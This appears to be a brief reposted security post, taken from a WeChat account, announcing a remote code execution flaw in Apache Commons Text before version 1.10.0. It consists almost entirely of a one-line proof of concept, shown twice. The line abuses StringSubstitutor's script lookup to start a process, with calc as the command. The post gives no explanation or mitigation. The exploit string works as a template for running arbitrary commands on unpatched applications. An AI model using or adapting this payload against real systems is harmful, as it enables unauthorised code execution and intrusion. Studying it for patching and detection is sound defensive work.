Apache Commons Text < 1.10.0 RCE
StringSubstitutor.createInterpolator().replace("${script:js:new java.lang.ProcessBuilder("calc").start()}");
原文始发于微信公众号(Ots安全):Apache Commons Text < 1.10.0 RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
聚合网络安全,存储安全技术文章,融合安全最新讯息
Apache Commons Text < 1.10.0 RCE
StringSubstitutor.createInterpolator().replace("${script:js:new java.lang.ProcessBuilder("calc").start()}");
原文始发于微信公众号(Ots安全):Apache Commons Text < 1.10.0 RCE
评论